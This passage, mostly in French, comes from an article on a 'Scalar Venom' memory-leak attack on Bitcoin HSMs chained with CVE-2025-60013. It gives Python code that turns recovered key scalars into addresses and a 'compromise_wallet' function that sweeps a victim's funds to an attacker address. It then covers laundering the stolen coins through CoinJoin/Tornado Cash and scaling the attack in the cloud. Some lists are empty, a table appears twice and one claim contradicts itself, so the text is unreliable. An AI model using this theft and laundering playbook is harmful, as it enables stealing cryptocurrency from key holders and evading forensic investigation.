def validate_and_generate_address(potential_key):
"""Converts recovered scalar to Bitcoin address"""
try:
# Uses secp256k1 instead of NIST256p
privkey = potential_key.hex()
# Generate public key via elliptic curve point multiplication
# P = k * G, where k = private key, G = generator point
public_key = generate_public_key(potential_key, secp256k1)
# Hash public key to get address
address = public_key_to_address(public_key)
return address, potential_key
except:
return None, None
Étape 4 : Transférer les fonds
python:
def compromise_wallet(recovered_private_key, bitcoin_address):
"""
Creates and signs transaction to withdraw all funds
from compromised address
"""
# 1. Get UTXO for address from blockchain
utxos = blockchain_api.get_utxos(bitcoin_address)
# 2. Create transaction (withdraw all funds to attacker address)
tx = create_transaction(
inputs=utxos,
outputs=[{"address": attacker_address, "amount": sum(utxo.amount)}],
fee=calculate_dynamic_fee()
)
# 3. Sign with recovered private key
tx.sign(recovered_private_key) # ECDSA signature using compromised key
# 4. Broadcast to Bitcoin network
blockchain_api.broadcast_transaction(tx)
Étape 5 : Disparition des traces
Les fonds récupérés sont immédiatement mélangés via CoinJoin/Tornado.Cash pour entraver l'analyse judiciaire. keyhunters
Évolutivité : En utilisant le cloud computing (AWS, Google Cloud), 1000+ dumps mémoire peuvent être traités en parallèle , gérant des milliers de clés privées simultanément .

[Attacker]
↓
[CVE-2025-60013: HSM Init with shell-metacharacters]
↓
[F5OS-A FIPS Module: password handling, scalar creation]
↓
[Scalar Venom: multiple copies of private keys in memory]
↓
[HSM Crash / Partial Init Failure: memory uncleared]
↓
[Memory Dump: capturing memory state]
↓
[Forensic Scanning: BitScanPro finds high-entropy regions]
↓
[Key Validation: secp256k1 curve check]
↓
[Address Generation: Bitcoin address creation]
↓
[Fund Transfer: signing and broadcasting transaction]
↓
[Victim Loss: total loss of fund control]
La certification FIPS 140-2 (et même FIPS 140-3) n'exige pas :
Cela signifie que même les HSM « certifiés FIPS » sont vulnérables à Scalar Venom à moins que les développeurs ne mettent en œuvre des mesures de sécurité supplémentaires.[24]
L'attaque Scalar Venom représente une menace critique pour l'infrastructure Bitcoin, surtout lorsqu'elle est combinée à des vulnérabilités d'initialisation HSM telles que CVE-2025-60013. Cette attaque :
La migration vers des architectures avec protection mémoire matérielle (Intel SGX, ARM TrustZone), granularité explicite de tous les tampons temporaires, et modèles RAII dans les bibliothèques cryptographiques est essentielle pour assurer la sécurité du système Bitcoin.
L'attaque Scalar Venom représente une vulnérabilité critique pour l'écosystème Bitcoin mondial, surtout lorsqu'elle est combinée aux vulnérabilités d'initialisation HSM CVE-2025-60013. Cette chaîne d'attaque multicouche sape fondamentalement les modèles de confiance cryptographiques et expose les risques existentiels suivants :
Elle permet la compromission complète des clés privées via des fuites mémoire, contournant même les modules de sécurité matériels avancés et rendant les systèmes affectés complètement invulnérables.
La compromission est permanente et irréversible : une fois qu'une clé privée est extraite, elle ne peut pas être récupérée, mettant tous les fonds dépendants en risque imminent de perte.
L'attaque est évolutive et peut être automatisée pour toucher un nombre énorme de nœuds et portefeuilles Bitcoin simultanément, entraînant une augmentation exponentielle des pertes potentielles.
Sa nature furtive garantit qu'il n'y a pas de traces visibles dans les journaux système ou les métriques de performance, rendant les mécanismes de détection et de protection traditionnels insuffisants.
Atténuer cette menace catastrophique nécessite une migration urgente vers des architectures sûres pour la mémoire, incluant une protection mémoire matérielle (telle que Intel SGX ou ARM TrustZone), une mise à zéro stricte de tous les tampons temporaires pendant toutes les opérations cryptographiques, et une mise en œuvre robuste des modèles RAII dans les bibliothèques logicielles critiques. Ce n'est que par de telles réformes architecturales robustes que l'intégrité et la sécurité à long terme de l'infrastructure Bitcoin peuvent être réellement assurées.
| Processus | Temps | Équipement |
|---|
| Obtention d'un dump mémoire | 5-30 secondes | Dépend de la méthode |
| Analyse d'un dump de 16 Go | 2-5 minutes | MacBook Air (M1) |
| Validation de 1000 clés candidates | 30 secondes | MacBook Air (M1) |
| Génération d'adresse | 10 secondes | MacBook Air (M1) |
| Transfert de fonds (diffusion) | < 1 seconde | Internet |
| Total pour compromission complète | < 10 minutes | MacBook Air (M1) |
| Aspect | Évaluation | Remarque |
|---|
| CVE-2025-60013 (Initialisation HSM) | CVSS 5.7 (Medium) | Officiellement faible, mais sert de point d'entrée |
| Scalar Venom Attack | CVSS 8.5+ (High/Critical) | Impact critique de facto |
| Attaque combinée | CVSS 9.5+ (Critical) | Compromission totale des clés privées |
| Récupération après compromission | Impossible | Perte irréversible des fonds |
| Processus | Temps | Équipement |
|---|
| Obtention d'un dump mémoire | 5-30 sec | Depends on the method |
| Analyse d'un dump de 16 Go | 2-5 min | MacBook Air (M1) |
| Validation de 1000 clés candidates | 30 sec | MacBook Air (M1) |
| Génération d'adresse | 10 sec | MacBook Air (M1) |
| Transfert de fonds (diffusion) | < 1 sec | Internet |
| Total pour une compromission complète | < 10 minutes | MacBook Air (M1) |